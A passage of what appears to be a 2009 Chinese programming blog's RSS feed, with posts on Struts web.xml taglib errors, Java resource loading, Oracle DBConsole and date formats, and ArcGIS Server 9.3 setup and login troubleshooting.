style="font-size:13px;line-height:1.8em;">把struts目录lib下的jar包复制到WebContent\WEB-INF\lib目录，eclipse自动把所有WebContent\WEB-INF\lib目录下的jar包添加到build path里，不必手动添加。在配置web.xml时，&lt;taglib&gt;提示错误，但是不影响struts tag的使用，错误提示为： </span><wbr /><span style="font-size:13px;line-height:1.8em;">＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">cvc-complex-type.2.4.a: Invalid content was found starting with element 'taglib'. One of '{&quot;http://java.sun.com/xml/ns/j2ee&quot;:description, &quot;http://java.sun.com/xml/ns/j2ee&quot;:display-name, &quot;http://java.sun.com/xml/ns/j2ee&quot;:icon, &quot;http://java.sun.com/xml/ns/j2ee&quot;:distributable, &quot;http://java.sun.com/xml/ns/j2ee&quot;:context-param, &quot;http://java.sun.com/xml/ns/j2ee&quot;:filter, &quot;http://java.sun.com/xml/ns/j2ee&quot;:filter-mapping, &quot;http://java.sun.com/xml/ns/j2ee&quot;:listener, &quot;http://java.sun.com/xml/ns/j2ee&quot;:servlet, &quot;http://java.sun.com/xml/ns/j2ee&quot;:servlet-mapping, &quot;http://java.sun.com/xml/ns/j2ee&quot;:session-config, &quot;http://java.sun.com/xml/ns/j2ee&quot;:mime-mapping, &quot;http://java.sun.com/xml/ns/j2ee&quot;:welcome-file-list, &quot;http://java.sun.com/xml/ns/j2ee&quot;:error-page, &quot;http://java.sun.com/xml/ns/j2ee&quot;:jsp-config, &quot;http://java.sun.com/xml/ns/j2ee&quot;:security-constraint, &quot;http://java.sun.com/xml/ns/j2ee&quot;:login-config, &quot;http://java.sun.com/xml/ns/j2ee&quot;:security-role, &quot;http://java.sun.com/xml/ns/j2ee&quot;:env-entry, &quot;http://java.sun.com/xml/ns/j2ee&quot;:ejb-ref, &quot;http://java.sun.com/xml/ns/j2ee&quot;:ejb-local-ref, &quot;http://java.sun.com/xml/ns/j2ee&quot;:service-ref, &quot;http://java.sun.com/xml/ns/j2ee&quot;:resource-ref, &quot;http://java.sun.com/xml/ns/j2ee&quot;:resource-env-ref, &quot;http://java.sun.com/xml/ns/j2ee&quot;:message-destination-ref, &quot;http://java.sun.com/xml/ns/j2ee&quot;:message-destination, &quot;http://java.sun.com/xml/ns/j2ee&quot;:locale-encoding-mapping-list}' is expected. </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">但是项目哪里有那么个红叉怎么看就不爽，搜索网络，对比没有出错的web.xml，发现问题出在web.xml里的这么句话：</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">&lt;web-app id=&quot;WebApp_ID&quot; version=&quot;2.4&quot; xmlns=&quot;http://java.sun.com/xml/ns/j2ee&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:schemaLocation=&quot;http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd&quot;&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">第一种方法：</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">     删了这句（记得要保留&lt;web-app&gt;）红叉就不见了。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">第二种方法：</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">     保留不变，把&lt;taglib&gt;&lt;/taglib&gt;用&lt;jsp-config&gt;&lt;/jsp-config&gt;包括起来，一样不会提示错误。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">有搜到这样的解释：（http://www.cnblogs.com/dekn/archive/2006/01/03/310365.html）</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">     在jsp2.0中,且2.4版的DTD验证中,初步估计是由于eclipse在部署时,未对web.xml进行一些校验,而jbuilder则进行了校验,并除非不合法的描述符,而taglib描述符,正确写法是放到&lt;jsp-config&gt;&lt;/jsp-config&gt;描述符中。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">     相信是一样的原因。eclipse3.2开始也对web.xml做校验，所以提示错误。在eclipse3.1.2里没有提示错误</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[程序设计]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1257996182#comment</comments>
<qz:effect>134218241</qz:effect>
<pubDate>Thu, 12 Nov 2009 03:23:02 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1257996182</guid>
</item>

<item>
<title><![CDATA[getResourceAsStream]]></title>
<link>http://93039799.qzone.qq.com/blog/1257241492</link>
<description><![CDATA[<br><span style="font-size:13px;line-height:1.8em;">用JAVA获取文件，听似简单，但对于很多像我这样的新人来说，还是掌握颇浅，用起来感觉颇深，大常最经常用的，就是用JAVA的File类，如要取得c:/test.txt文件，就会这样用File file = new File(&quot;c:/test.txt&quot;);这样用有什么问题，相信大家都知道，就是路径硬编码，对于JAVA精神来说，应用应该一次成型，到处可用，并且从现实应用来讲，最终生成的应用也会部署到Windows外的操作系统中，对于linux来说，在应用中用了c:/这样的字样，就是失败，所以，我们应该尽量避免使用硬编码，即直接使用绝对路径。</span><wbr /><br><br><span style="font-size:13px;line-height:1.8em;">　　在Servlet应用中，有一个getRealPath(String str)的方法，这个方法尽管也可以动态地获得文件的路径，不秘直接手写绝对路径，但这也是一个不被建议使用的方法，那么，我们有什么方法可以更好地获得文件呢?</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">      那就是Class.getResource()与Class.getResourceAsStream()方法，但很多人还是不太懂它的用法，因为很多人（比如不久前的我）都不知道应该传怎么样的参数给它，当然，有些人己经用得如火纯青，这些人是不需要照顾的，在此仅给不会或者还不是很熟的人解释一点点。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">比如我们有以下目录</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">|--project</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">    |--src</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">        |--javaapplication</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">            |--Test.java</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">            |--file1.txt</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">        |--file2.txt</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">    |--build </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">        |--javaapplication</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">            |--Test.class</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">            |--file3.txt</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">        |--file4.txt</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">在上面的目录中，有一个src目录，这是JAVA源文件的目录，有一个build目录，这是JAVA编译后文件(.class文件等）的存放目录</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">那么，我们在Test类中应该如何分别获得</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">file1.txt  file2.txt  file3.txt  file4.txt这四个文件呢？</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">首先讲file3.txt与file4.txt</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">file3.txt: </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">方法一：File file3 = new File(Test.class.getResource(&quot;file3.txt&quot;).getFile());</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">方法二：File file3 = new File(Test.class.getResource(&quot;/javaapplication/file3.txt&quot;).getFile());</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">方法三：File file3 = new File(Test.class.getClassLoader().getResource(&quot;javaapplication/file3.txt&quot;).getFile());</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">file4.txt:</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">方法一：File file4 = new File(Test.class.getResource(&quot;/file4.txt&quot;).getFile());</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">方法二：File file4 = new File(Test.class.getClassLoader().getResource(&quot;file4.txt&quot;).getFile());</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">很好，我们可以有多种方法选择，但是file1与file2文件呢？如何获得？</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">答案是，你只能写上它们的绝对路径，不能像file3与file4一样用class.getResource()这种方法获得，它们的获取方法如下</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">假如整个project目录放在c:/下，那么file1与file2的获取方法分别为</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">file1.txt</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">方法一：File file1 = new File(&quot;c:/project/src/javaapplication/file1.txt&quot;);</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">方法二：。。。没有</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">file2.txt</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">方法一：File file2 = new File(&quot;c:/project/src/file2.txt&quot;);</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">方法二：。。。也没有</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">总结一下，就是你想获得文件，你得从最终生成的.class文件为着手点，不要以.java文件的路径为出发点，因为真正使用的就是.class，不会拿个.java文件就使用，因为java是编译型语言嘛</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">至于getResouce()方法的参数，你以class为出发点，再结合相对路径的概念，就可以准确地定位资源文件了，至于它的根目录嘛，你用不同的IDE build出来是不同的位置下的，不过都是以顶层package作为根目录，比如在Web应用中，有一个WEB-INF的目录，WEB-INF目录里面除了web.xml文件外，还有一个classes目录，没错了，它就是你这个WEB应用的package的顶层目录，也是所有.class的根目录“/”，假如clasaes目录下面有一个file.txt文件，它的相对路径就是&quot;/file.txt&quot;，如果相对路径不是以&quot;/&quot;开头，那么它就是相对于.class的路径。。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">还有一个getResourceAsStream()方法，参数是与getResouce()方法是一样的，它相当于你用getResource()取得File文件后，再new InputStream(file)一样的结果</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[程序设计]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1257241492#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 03 Nov 2009 09:44:52 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1257241492</guid>
</item>

<item>
<title><![CDATA[断网后无法登陆oracle em]]></title>
<link>http://93039799.qzone.qq.com/blog/1256110737</link>
<description><![CDATA[<br> <br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">网络断掉，不能启动DBConsole服务的解决这个问题有不少刚刚接触的Oracle 10g的XDJM都遇到过，我在笔记本上也遇到过，本来DBConsole是可以用的，但是一旦笔记本是使用无线网卡连网的，所以有时候出去的时候没有接上wifi的话，也会出现同样的状况。</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">错误状况：<br>Window平台<br>以前的DBConsole是可以启动的，但是拔掉网络启动OracleDBConsoleXXX服务，服务启动不了。</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">错误排查:<br>先设置window环境变量 ORACLE_SID=数据库SID<br>打开cmd<br>输入 emctl start dbconsole<br>将会有错误信息提示，如果没有设置ORACLE_SID 则提示<br>Environment variable ORACLE_SID not defined. Please define it.</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">如果已经设置了ORACLE_SID 则错误提示为<br>oc4j configration issue.D:\oracle\product\10.1.0\db_1\oc4j\j2ee\OC4J_DBConsole_localhost_java not found.<br>其中D:\oracle\product\10.1.0\db_1为你自己机器中ORacle10g的home目录</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">这个信息非常的重要，也是服务起不来的根本原因<br>DBConsole是一个java的web application，在建立dbconsole的时候，我们会根据机器以及Oracle的信息创建repos，这个repos就是存放DBConsole的配置信息的仓库，由于机器断网，会把机器的名字映射为localhost，而建库的时候是默认用的是机器名，所以这时候两个目录不匹配了，DBConsole找不到配置仓库的目录也就出错了。</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">解决方案，<br>解决方案有两种，一种是比较正式的<br>通过emca重新建立repos<br>命令如下<br>emca -config dbcontrol db -repos recreate</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">方法二是自己实验出来的，并不是一个正式的方法，但是比上一种方法简单，易于操作。<br>信息提示里找不到一个目录D:\oracle\product\10.1.0\db_1\oc4j\j2ee\OC4J_DBConsole_localhost_java， 到这个信息提示的上一层目录里一看，可以看到有个类似的目录， 形如OC4J_DBConsole_janes_java， 这里janes是我的机器名，把这个目录copy到当前目录下，改成信息提示里没有找到的目录名，比如 我这里就改成D:\oracle\product\10.1.0\db_1\oc4j\j2ee\OC4J_DBConsole_localhost_java</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">同时来到D:\oracle\product\10.1.0\db_1目录下，可以找到一个名字形如janes_ORCL的目录，<br>注意janes_ORCL 这里的janes是我的机器名，ORCL是我这里ORacle的SID，你可以根据你的具体情况，来找到类似的目录, 同样在当前copy到当前目录，并改名为localhost_ORCL.</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">还有第三方法，不过没有试过<br>有出现这样问题的帮着试试 set ORACLE_HOSTNAME=localhost</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">然后通过emctl start dbconsole或者服务里的ORacleDBConsoleXXXX的服务就可以启动了。</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[数据库类]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1256110737#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 21 Oct 2009 07:38:57 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1256110737</guid>
</item>

<item>
<title><![CDATA[ArcGIS Server for the Java Platform中manager无法登陆的问题]]></title>
<link>http://93039799.qzone.qq.com/blog/1256110432</link>
<description><![CDATA[<br><span style="font-size:13px;font-family:'Helvetica';line-height:1.8em;">ArcGIS Server 9.3 Java安装流程</span><wbr /><br><span style="font-size:13px;font-family:'Helvetica';line-height:1.8em;">2009-09-08 12:04</span><wbr /><br><span style="font-size:13px;font-family:'Helvetica';line-height:1.8em;">1. 安装ArcGIS Server for Java，导入ISO文件到虚拟光驱，点击setup.exe文件，进入安装页面。选择ArcGIS Server for Java。 ArcGIS Server需要占用8099、8399端口，8099是服务管理服务的端口，8399是rest服务的端口，软件会自动安装配置的Tomcat。 <br>2. 安装过程中除了需要改变安装路径之外，一律Next，软件会自动安装SOA、SOM服务，并且安装地图管理服务。 <br>3. 注册：在安装完了软件后，将弹出一个配置服务的对话框（GIS Server Post Install），在Welcome to the GIS Server Post Install页面中，两个复选框都选中，点下一步。在Specify GIS Server Accounts页面中，配置ArcGISSOM和ArcGISSOC的密码。在GIS Server Webservices Account页面中，为ArcGISWebServices配置密码（这些用户名和密码，一定要记住了，以后登录Server的管理模块和链接服务都需要用到）。在Specify GIS Server directories中，为Web Server 制定路径、站点名称和站点端口。后边一路next。在Registration Options中选择第三个（I have received an authorization file from ESRI and am now ready to finish the registration process）。在Software Authorization中，选择你的license文件，点Browse，选择安装文件夹下的ecp文件完成注册。 <br>4. 更改组和用户属性：右键我的电脑，选择管理菜单，进入计算机管理页面。选择本地用户和组，此处对用户和组任意一项配置即可，另一项将自动做相应的配置。此处仅介绍组配置。 <br>Administrators组，其成员为：Administrator、ArcGISSOM和ArcGISWebServices； <br>agsadmin组，其成员为：Administrator、ArcGISSOM和ArcGISWebServices； <br>agsusers组，其成员为：Administrator、ArcGISSOM和ArcGISSOC。 <br>Users组，其成员为：ArcGISSOM、ArcGISSOC和ArcGISmanager。 <br>注意，此处仅说明了是与GIS有关的组的成员信息，若该组在其他方面还有成员，其他成员不要乱删。 <br>5. 打开ArcGIS-&gt; ArcGIS Server for the Java Platform-&gt;ArcGIS Server Manager,User name中输入用户名&quot;登录名（Administrator&quot;ArcGISWebServices），密码就是你配置ArcGISmanager时的密码，若你用其他用户名登录，密码为相应密码。登录成功后，则可以发布相应的ArcGIS Server服务。 <br>6. 注意事项：如果无法登陆，首先看是否开启了防火墙，如果是杀毒软件的防火墙，关闭就可以了！如果是Windows自带的防火墙，则可以通过添加意外处理，具体方法如下：控制面板—&gt;防火墙，先添加web端口：8399、8099；ArcSOM端口：135；添加ArcSOM.exe、ArcSOC.exe两个应用程序， 均存放在ArcGIS\bin\目录下面！ <br>7. arcgis server 9.3（Java）安装要求：占用磁盘空间大约1.5G左右，需要有Jdk开发环境！ <br>8. ArcGIS Server Java 9.3 REST API的中文查询问题的解决方案：目前在ArcGIS Server 9.3 Java中使用中文进行REST查询时是有问题的，这是ArcGIS Server for Java集成的tomcat的问题，解决方案一： <br>a、ArcGIS Server Java9.3可以把services和rest单独导出成war包，部署到其他的web服务器上，从而可以避免内置tomcat的性能瓶颈。进入Manager--&gt;services--&gt;Configure ServicesHandler--&gt;Export页面，把rest服务导出成rest.war，保存到本地； <br>b、把保存下来的rest.拷贝到任何一个其他版本的tomcat 的webapps目录下（ArcGIS Server内置的tomcat是5.5.9版本，我测试用的是apache-tomcat-6.0.20），此时的Tomcat应该配置服务器端的编码为UTF-8。 <br>c、启动tomcat6.0.20，在浏览器中输入http://localhost:8080/rest，进入service directory页面。 <br>d、选中服务的图层进行查询，输入中文进行查询，看是否可以得到正确的结果。 <br>有人反映这个方案不能解决问题，可能和tomcat的版本有关，还有另外两种解决方案： <br>方案1： <br>从客户端入手。 <br>中文不能查询的根本原因在于编码，当我们在使用RESTAPI进行查询的时候，请求的URL一般是这样： <br>“http://wuyfsles:8399/arcgis/rest/services/BeijingTraffic/MapServer/find?searchText=事故&amp;contains=true&amp;searchFields=&amp;sr=&amp;layers=0&amp;returnGeometry=true”，其中的中文无法被服务器识别。因此，你可以在发送前对“事故”这个中文关键词进行URL编码，应该是“%CA%C2%B9%CA”，你在浏览器中输入 <br>“http://wuyfsles:8399/arcgis/rest/services/BeijingTraffic/MapServer/find?searchText=%CA%C2%B9%CA&amp;contains=true&amp;searchFields=&amp;sr=&amp;layers=0&amp;returnGeometry=true”的时候，是不是可以看到结果了？ <br>方案2： <br>从服务器端入手，还是着手解决编码问题。 <br>既然tomcat有问题，我们就在tomcat身上开刀。以Linux为例，分别打开“/arcgis/java/manager/service/tomcat/managerappserver/conf/server.xml”和 <br>“/arcgis/java/manager/service/tomcat/managerserver/conf/server.xml”，找到“Connector”元素，如图添加属性URIEncoding=&quot;UTF-8&quot;。保存退出，重启tomcat和ArcGIS Server。 <br></span><wbr /><br><span style="font-size:13px;font-family:'Helvetica';line-height:1.8em;">在manager中输入了正确的用户名和密码后，总是显示不正确，后来查了好久，发现很多人都遇到了这个问题，解决方法也是多种多样，我按着每个方法都试过了，还是不可以，后来查阅esri的帮助文档，才发现是操作系统的问题，操作系统是windows xp sp2，所以要对windows自带的防火墙进行调整，esri帮助文档的原文如下：<br>1 Navigate to Windows Firewall. Start &gt; Settings &gt; Control Panel &gt; Windows Firewall The firewall is 'On' by default, the 'Recommended' setting.<br>2Click on the Exceptions tab. <br>3Click 'Add Port'. <br>4Add the following information: Name: Web Port (http) Port Number: 80 Type: TCP Click OK. <br>5To add port 135, click 'Add Port'. <br>6Add the following information: Name: DCOM (ArcGIS Server) Port Number: 135 Type: TCP Click OK. <br>7Click 'Add Program' to add an exception for ArcSOM.exe. <br>8Click 'Browse' and navigate to: &lt;ArcGIS Install Directory&gt;\bin\ArcSOM.exe for example: C:\Program Files\ArcGIS\bin\ArcSOM.exe Click OK. <br>9Click Add Program to add an exception for ArcSOC.exe.<br>10 Click 'Browse' and navigate to: &lt;ArcGIS Install Directory&gt;\bin\ArcSOC.exe for example: C:\Program Files\ArcGIS\bin\ArcSOC.exe Click OK. <br>11The ports and programs entered should now appear in the list of Programs and Services. Verify check marks appear next to each component. <br>12Close Windows Firewall.</span><wbr /><br><br><span style="font-size:13px;font-family:'Helvetica';line-height:1.8em;">方法二:</span><wbr /><br><span style="font-size:13px;font-family:'Helvetica';line-height:1.8em;">打开资源管理器，工具菜单－&gt;文件夹选项－&gt;查看，去掉里面的简单文件共享</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[二次开发]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1256110432#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 21 Oct 2009 07:33:52 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1256110432</guid>
</item>

<item>
<title><![CDATA[配置ArcGIS Server 9.3 Java开发环境（eclipse）]]></title>
<link>http://93039799.qzone.qq.com/blog/1256091205</link>
<description><![CDATA[<br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">【概述】叙述如何在Window下配置ArcGIS Server 9.3的Java开发环境（eclipse）<br></span><wbr /><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">【环境】Windows XP SP2，ArcGIS Server 9.3 </span><wbr /><br> <br><span style="font-weight:bold"><wbr /><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">先决条件</span><wbr /></span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"></span><wbr /> <br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">ArcGIS Server的Java开发首先需要安装Java Web服务器， ArcGIS Server 9.3支持的服务器种类有：<br></span><wbr /><a href="http://tomcat.apache.org/" target="_blank"><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">Apache Tomcat</span><wbr /></a><wbr /><br><a href="http://www.ibm.com/websphere" target="_blank"><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">IBM WebSphere</span><wbr /></a><wbr /><br><a href="http://sourceforge.net/projects/jboss" target="_blank"><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">JBoss</span><wbr /></a><wbr /><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">这里采用的是Tomcat 6.0.16。</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"></span><wbr /> <br><span style="font-weight:bold"><wbr /><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">下载eclipse</span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"></span><wbr /></span><wbr /> <br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">ArcGIS Server 9.3支持的eclipse版本为3.3（europa），需要eclipse基本平台和WTP 2.0，建议直接下载针对J2EE开发的All In One套件包：<br></span><wbr /><a href="http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/europa/winter/eclipse-jee-europa-winter-win32.zip" target="_blank"><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/europa/winter/eclipse-jee-europa-winter-win32.zip</span><wbr /></a><wbr /><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"></span><wbr /> <br><span style="font-weight:bold"><wbr /><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">从本地安装ArcGIS插件</span><wbr /></span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"></span><wbr /> <br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">在 eclipse主菜单中选择Help-&gt;Software Updates-&gt;Find and Install，选择“Search for new features to install”，点击右侧的“New Local Site”，添加本地插件升级路径：“%ARCGISHOME%/java/tools/eclipse_plugin /arcgis_update_site/server/”，确定。另外，与此类似，添加“%ARCGISHOME%/java/tools /eclipse_plugin/arcgis_update_site/doc”。 </span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">在上述操作完成后，下一步eclipse将自动扫描上述路径，发现可用插件时会给出提示，后续操作根据提示下一步即可。</span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"></span><wbr /> <br><span style="font-weight:bold"><wbr /><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">从Internet安装ArcGIS 插件</span><wbr /></span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"></span><wbr /> <br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">相 比从本地安装ArcGIS插件，从Internet安装更能在以后保持软件的升级更新。安装过程和从本地类似，只不过在添加升级站点的时候，选择“New Remote Site”，添加升级地址：“http://downloads.esri.com/EDN/java/plugins/eclipse/v93/”。 </span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">Ok，当eclipse提示你重启时，插件已经安装完成，重启eclipse后可以看到新的Overview屏幕，上面包含了新增的ArcGIS的内容。 </span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"> </span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">新建项目进行环境测试</span><wbr /></span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">1. 在eclipse主菜单选择New-&gt;Project…，点击“ESRI Templates”下的“ArcGIS Web Project” </span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">2. 在新建ArcGIS Web Project窗口对项目进行必要的配置，还没有配置Target Runtime时，首先电解右侧的“New…”按钮新建一个已经安装的J2EE Web服务器。 </span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">3. 点击下一步，在此界面应该可以添加GIS Server，忽略之，因为不能双击“Add GIS Server”列表项（破解版XP的bug，可能在某些番茄花园版xp等系统上出现），点击完成。 </span><wbr /><br><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;">4. 运行项目，出现如下界面，表示项目部署运行成功，但是没有数据。 </span><wbr /><br><a href="http://1.bp.blogspot.com/__ZvvWze6o0c/SLBPmWgVHuI/AAAAAAAAB10/CTxIqdIG-Yc/s1600-h/4.jpg" target="_blank"><span style="font-size:13px;font-family:'Simsun';line-height:1.8em;"></span><wbr /></a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[二次开发]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1256091205#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 21 Oct 2009 02:13:25 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1256091205</guid>
</item>

<item>
<title><![CDATA[Oracle时间函数]]></title>
<link>http://93039799.qzone.qq.com/blog/1255917932</link>
<description><![CDATA[<br><span style="font-size:13px;line-height:1.8em;">1.日期格式参数 含义说明 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">D 一周中的星期几 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">DAY 天的名字，使用空格填充到9个字符 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">DD 月中的第几天 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">DDD 年中的第几天 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">DY 天的简写名 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">IW ISO标准的年中的第几周 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">IYYY ISO标准的四位年份 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">YYYY 四位年份 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">YYY,YY,Y 年份的最后三位，两位，一位 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">HH 小时，按12小时计 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">HH24 小时，按24小时计 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">MI 分 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">SS 秒 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">MM 月 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Mon 月份的简写 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Month 月份的全名 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">W 该月的第几个星期 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">WW 年中的第几个星期     1.日期时间间隔操作 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">当前时间减去7分钟的时间 </span><wbr />